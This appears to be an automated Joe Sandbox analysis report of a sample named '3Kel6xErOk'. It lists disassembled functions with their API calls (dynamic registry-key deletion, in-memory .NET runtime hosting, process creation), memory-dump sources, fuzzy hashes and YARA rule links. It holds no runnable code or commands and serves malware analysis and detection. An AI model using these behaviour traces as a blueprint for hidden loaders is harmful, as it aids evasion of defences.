Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00433039

Part of subcall function 00438241: __Init_thread_footer.LIBCMT ref: 00438284

Part of subcall function 00432EDB: __EH_prolog3_GS.LIBCMT ref: 00432EE2

Strings

ios_base::failbit set, xrefs: 00432FE2
|?d, xrefs: 00432FCC
ios_base::badbit set, xrefs: 00432FB3
ios_base::eofbit set, xrefs: 0043300B

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Exception@8H_prolog3_Init_thread_footerThrow
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$|?d
API String ID: 1903227154-3507738762
Opcode ID: e565d6552bd5d25310ec3274f90dd2b3b02a24b30093c62f78631459ec655c9b
Instruction ID: 56a93d86604a1469863bdccef11c4d32c7188babd97fc6adf3c2ecb04004286f
Opcode Fuzzy Hash: e565d6552bd5d25310ec3274f90dd2b3b02a24b30093c62f78631459ec655c9b
Instruction Fuzzy Hash: 031125705447486ED314EE41CD43F7EB7A49B08B14F00580EF5469A1C1EBF89A44D75B

Function 00416670 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll), ref: 00416686
GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedW), ref: 004166A5
RegDeleteKeyW.ADVAPI32(?,?), ref: 004166E0

Strings

RegDeleteKeyTransactedW, xrefs: 0041669C
Advapi32.dll, xrefs: 00416681

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: AddressDeleteHandleModuleProc
String ID: Advapi32.dll$RegDeleteKeyTransactedW
API String ID: 588496660-2168864297
Opcode ID: 5dc8663c5f75d266f0d6aae5396cce033ee37cec8ad299ca3f84f9ff8e44530e
Instruction ID: e80b63ede15efbfe6355382f93389b7148ca9ccad7ae669cc021d3fded2ec68e
Opcode Fuzzy Hash: 5dc8663c5f75d266f0d6aae5396cce033ee37cec8ad299ca3f84f9ff8e44530e
Instruction Fuzzy Hash: 87111775A04208EFDB04DF98C848FEEB7B6AB54300F11815AF901AB290C778DE80DB99

Function 100036ED Relevance: 7.8, APIs: 5, Instructions: 270memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 100036F4
CLRCreateInstance.MSCOREE(1001A868,1001A858,?), ref: 1000370E
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 10003812
SafeArrayUnaccessData.OLEAUT32(?), ref: 10003841
SysAllocString.OLEAUT32(?), ref: 100038F3

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: ArrayDataSafe$AccessAllocCreateH_prolog3InstanceStringUnaccess
String ID:
API String ID: 3666180938-0
Opcode ID: 0301c89c22ac4d9c38c143e6132587ca97202c0f191c60d530997892f8b3a8a7
Instruction ID: 4c23db85811c87e403490fbd8194970e45e724dfb527cc97901a904ff1b24d94
Opcode Fuzzy Hash: 0301c89c22ac4d9c38c143e6132587ca97202c0f191c60d530997892f8b3a8a7
Instruction Fuzzy Hash: A6A14AB1E00249AFEB01CFE4CC889AEBBB9FF49344F508469E209EB251C7719D46CB50

Function 032A36F1 Relevance: 7.8, APIs: 5, Instructions: 270memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 032A36F8
CLRCreateInstance.MSCOREE(1001A868,1001A858,?), ref: 032A3712
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 032A3816
SafeArrayUnaccessData.OLEAUT32(?), ref: 032A3845
SysAllocString.OLEAUT32(?), ref: 032A38F7

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: ArrayDataSafe$AccessAllocCreateH_prolog3InstanceStringUnaccess
String ID:
API String ID: 3666180938-0
Opcode ID: 0301c89c22ac4d9c38c143e6132587ca97202c0f191c60d530997892f8b3a8a7
Instruction ID: 5d4c74eda3c401f94db97baf92f1095440986af54bc5238d29e356f4b5392474
Opcode Fuzzy Hash: 0301c89c22ac4d9c38c143e6132587ca97202c0f191c60d530997892f8b3a8a7
Instruction Fuzzy Hash: 15A139B5E1064AAFDB00DFE8CC889EEBBB9FF48305F544469E205EB250D7719986CB50

Function 00407B70 Relevance: 7.7, APIs: 5, Instructions: 220COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,CC27C0CB), ref: 00407CA9
LoadTypeLib.OLEAUT32(00000004,00000000), ref: 00407D19
Concurrency::cancellation_token_source::cancellation_token_source.LIBCPMTD ref: 00407DF0

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Concurrency::cancellation_token_source::cancellation_token_sourceFileLoadModuleNameType
String ID:
API String ID: 720278427-0
Opcode ID: 3725d4cd0c06130f1240dfad604daa24932b1ddd3ebdded940ef61dd2b0e7df3
Instruction ID: 7de09010fb4c77261770a8c387953fb9146c0f8cf42bad1135233f326fd4c746
Opcode Fuzzy Hash: 3725d4cd0c06130f1240dfad604daa24932b1ddd3ebdded940ef61dd2b0e7df3
Instruction Fuzzy Hash: 1FA15C709012189BCB24EB55CC99BEAB7B5AF44304F1081EAE109BB2E1DB786FC5CF55

Function 00418312 Relevance: 7.7, APIs: 5, Instructions: 161COMMON

Download Yara Rule

APIs

CharNextW.USER32 ref: 0041832C

Part of subcall function 00417450: CharNextW.USER32 ref: 0041746C

CharNextW.USER32(00000000), ref: 0041836A
CharNextW.USER32(?), ref: 00418383
CharNextW.USER32(00000000), ref: 0041842F
CharNextW.USER32(?), ref: 00418476

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 943041cd253d43fd1729ed387277081a702d781f2aee1c16f94d767a3d63c47d
Instruction ID: feec646565bd97f9385327c75febaf567e3a9f771d6f00bf12ab006f24339bcb
Opcode Fuzzy Hash: 943041cd253d43fd1729ed387277081a702d781f2aee1c16f94d767a3d63c47d
Instruction Fuzzy Hash: 7E61DE74A01109DFCB44CF98C590AEEB7B2FF89704F20819EE915AB354DB34AE81DB55

Function 00439280 Relevance: 7.6, APIs: 5, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406280: VariantInit.OLEAUT32(?), ref: 0040629B

VariantChangeType.OLEAUT32(?,?,00000000,00002011), ref: 00439309
SafeArrayAccessData.OLEAUT32(00000000,004316DA), ref: 0043933A
SafeArrayUnaccessData.OLEAUT32(000000FF), ref: 00439350
SafeArrayCreate.OLEAUT32(00000011,00000001,00000000), ref: 00439321

Part of subcall function 00406300: SysAllocString.OLEAUT32(?), ref: 00406334

SysAllocString.OLEAUT32(?), ref: 00439385

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ArraySafe$AllocDataStringVariant$AccessChangeCreateInitTypeUnaccess
String ID:
API String ID: 4051685462-0
Opcode ID: 4058733b19bc7b3896a6d0ba026f01c86af1aed69ed47b55ba12090ef97c22ab
Instruction ID: 701d53e96b9f1b1e163f5e6204fe9a7cf4721ed1624c69f4d655ec5678ffc4b1
Opcode Fuzzy Hash: 4058733b19bc7b3896a6d0ba026f01c86af1aed69ed47b55ba12090ef97c22ab
Instruction Fuzzy Hash: DF410971910218AFDB04EFE5DC45AEEBBB8EF48714F04416EF90667281DB785E18CBA4

Function 00413F10 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00413F6C

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

Part of subcall function 00439920: __EH_prolog3.LIBCMT ref: 00439927
Part of subcall function 00439920: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,0000000C,00413F7B,?,CC27C0CB), ref: 00439957
Part of subcall function 00439920: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,0000000C,00413F7B,?,CC27C0CB), ref: 00439986

Part of subcall function 00414410: new.LIBCMT ref: 00414441
Part of subcall function 00414410: shared_ptr.LIBCPMTD ref: 004144F0
Part of subcall function 00414410: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414508

shared_ptr.LIBCMTD ref: 00413FB9

Part of subcall function 00414080: shared_ptr.LIBCPMTD ref: 0041409D
Part of subcall function 00414080: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 004140AC

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00413FC1

Part of subcall function 004110A0: _Ptr_base.LIBCMTD ref: 004110C9

Part of subcall function 00414530: new.LIBCMT ref: 00414561
Part of subcall function 00414530: _Resetp0.LIBCMTD ref: 004145C3
Part of subcall function 00414530: shared_ptr.LIBCPMTD ref: 004145CF
Part of subcall function 00414530: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 004145E7

shared_ptr.LIBCPMTD ref: 00413FFD

Part of subcall function 004141C0: Concurrency::details::QuickBitSet::QuickBitSet.LIBCMTD ref: 004141F6

Part of subcall function 00413E10: shared_ptr.LIBCMTD ref: 00413E49
Part of subcall function 00413E10: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00413E86

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414021

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Container_base12Container_base12::~_std::_$shared_ptr$ByteCharConcurrency::details::MultiQuickWide$Base::ContextH_prolog3IdentityPtr_baseQueueResetp0Set::Work
String ID:
API String ID: 4089058268-0
Opcode ID: 585203d82b11172fb4388744ea436612cca674cba0d129d7a638d2832b58aefc
Instruction ID: 2ae7ae84ffd28bc6bb639523e591491e4bf4fea3b63b6d5a7d9a6582cafb62ce
Opcode Fuzzy Hash: 585203d82b11172fb4388744ea436612cca674cba0d129d7a638d2832b58aefc
Instruction Fuzzy Hash: 5C315EB1D002089BCB04DFE5DC51AEEBBB5FF48314F10462EE515A7281EB385A44CB94

Function 0041EF20 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 0041EF64
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0041EF9B

Part of subcall function 0041BD90: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0041BDB9

std::_Locinfo::_Locinfo.LIBCPMTD ref: 0041EFA4

Part of subcall function 00414DC0: std::_Lockit::_Lockit.LIBCPMT ref: 00414DED
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414DFF
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E0E
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E1D
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E2C
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E3B
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E4A
Part of subcall function 00414DC0: std::bad_exception::bad_exception.LIBCMTD ref: 00414E61
Part of subcall function 00414DC0: __CxxThrowException@8.LIBVCRUNTIME ref: 00414E6F
Part of subcall function 00414DC0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00414E7C

ctype.LIBCPMTD ref: 0041EFCB

Part of subcall function 0041F280: std::locale::facet::facet.LIBCPMTD ref: 0041F2AD
Part of subcall function 0041F280: collate.LIBCPMTD ref: 0041F2C9

std::_Locinfo::~_Locinfo.LIBCPMTD ref: 0041F007

Part of subcall function 00414EA0: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00414ECA
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414ED8
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EE3
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EEE
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EF9
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414F04
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414F0F
Part of subcall function 00414EA0: std::_Lockit::~_Lockit.LIBCPMT ref: 00414F17

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::_$Container_base12Container_base12::~_$Yarn$Locinfo::_$LocinfoLockit$Base::Concurrency::details::ContextException@8IdentityLocinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_QueueThrowWorkcollatectypestd::bad_exception::bad_exceptionstd::locale::facet::facet
String ID:
API String ID: 3512307072-0
Opcode ID: 003561c608ca5777e4df1e44d002daf55ee22722f6ccc392348d8a25ce2ea16e
Instruction ID: 39e9c54937ea88a36a01e52a0d3d7205e72312103ba9bc9c9904dc3076d43e55
Opcode Fuzzy Hash: 003561c608ca5777e4df1e44d002daf55ee22722f6ccc392348d8a25ce2ea16e
Instruction Fuzzy Hash: 6A31F7B0D00209DFDB14DF98D845BEEBBB1FB48314F20826AE415AB381D7796A85CB94

Function 0043A3FD Relevance: 7.6, APIs: 5, Instructions: 69processCOMMON

Download Yara Rule

APIs

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0043A444

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0043A44D
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,04000000,00000000,00000000,?,?), ref: 0043A453
CloseHandle.KERNEL32(00000000), ref: 0043A471
CloseHandle.KERNEL32(00000000), ref: 0043A47C

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: CloseContainer_base12Container_base12::~_Handlestd::_$Base::Concurrency::details::ContextCreateIdentityProcessQueueWork
String ID:
API String ID: 3377214180-0
Opcode ID: 93391e6da20653185f791a5a4fe016e9ce7198111c50d540586e57cd9638edef
Instruction ID: 658f830691bb13a60d4d17d858336b51c03707301e8d35760305f40cd9180724
Opcode Fuzzy Hash: 93391e6da20653185f791a5a4fe016e9ce7198111c50d540586e57cd9638edef
Instruction Fuzzy Hash: 88114271940108BFEB10DFE5DC45BEFB7BCEB48304F00452AF955A7150EA796E48CAA9

Function 10013FE6 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 10013FF4

Part of subcall function 1000B4CB: __FF_MSGBANNER.LIBCMT ref: 1000B4E4
Part of subcall function 1000B4CB: __NMSG_WRITE.LIBCMT ref: 1000B4EB
Part of subcall function 1000B4CB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B510

_free.LIBCMT ref: 10014007

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 1be4e4e97507f6bcf05e95ca80701709bed166673dd78558047ee389fcc65067
Instruction ID: 70ff08b1941979eeaa78273ecc160b3e30a6ac04d156f3026e39b441a1728ba6
Opcode Fuzzy Hash: 1be4e4e97507f6bcf05e95ca80701709bed166673dd78558047ee389fcc65067
Instruction Fuzzy Hash: 67119836804625ABEB23EF75980565D37A4EF482F0B234426FE589E1A1DF34D98157A0

Function 032B3FEA Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 032B3FF8

Part of subcall function 032AB4CF: __FF_MSGBANNER.LIBCMT ref: 032AB4E8
Part of subcall function 032AB4CF: __NMSG_WRITE.LIBCMT ref: 032AB4EF
Part of subcall function 032AB4CF: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 032AB514

_free.LIBCMT ref: 032B400B

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 81d65614e0b6db376356ac8b77cde15ec8576bf147855c74108ac56880b648b2
Instruction ID: eb76041d6f9ab127d0fe9637240e699d03c525d958502491a0c88fcc82c14b2a
Opcode Fuzzy Hash: 81d65614e0b6db376356ac8b77cde15ec8576bf147855c74108ac56880b648b2
Instruction Fuzzy Hash: BB112737434B25ABDB26FB399C84BD93778AF883E4B244825F9098E551DB74C5C18750

Function 00415650 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00415694
std::locale::c_str.LIBCPMTD ref: 004156A9
std::_Locinfo::_Locinfo.LIBCPMTD ref: 004156B2

Part of subcall function 00414DC0: std::_Lockit::_Lockit.LIBCPMT ref: 00414DED
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414DFF
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E0E
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E1D
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E2C
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E3B
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E4A
Part of subcall function 00414DC0: std::bad_exception::bad_exception.LIBCMTD ref: 00414E61
Part of subcall function 00414DC0: __CxxThrowException@8.LIBVCRUNTIME ref: 00414E6F
Part of subcall function 00414DC0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00414E7C

ctype.LIBCPMTD ref: 004156D6

Part of subcall function 004155E0: std::bad_exception::bad_exception.LIBCMTD ref: 0041560D

std::_Locinfo::~_Locinfo.LIBCPMTD ref: 00415712

Part of subcall function 00414EA0: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00414ECA
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414ED8
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EE3
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EEE
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EF9
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414F04
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414F0F
Part of subcall function 00414EA0: std::_Lockit::~_Lockit.LIBCPMT ref: 00414F17

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::_$Container_base12Container_base12::~_Yarn$Locinfo::_$LocinfoLockitstd::bad_exception::bad_exception$Exception@8Locinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_Throwctypestd::locale::c_str
String ID:
API String ID: 69252773-0
Opcode ID: 10f35c657a90da164344e5b5eea165181f8774b46ec8d15f155ffdfac7453425
Instruction ID: d226b30b1f3a970c166449f2f13787270fd1ed9b7090cc14b755fc52f164d217
Opcode Fuzzy Hash: 10f35c657a90da164344e5b5eea165181f8774b46ec8d15f155ffdfac7453425
Instruction Fuzzy Hash: FC211AB0D00649DFDB04DF94D842BEEBBB1FB44314F10426AE425AB3C0D7796A44CB94

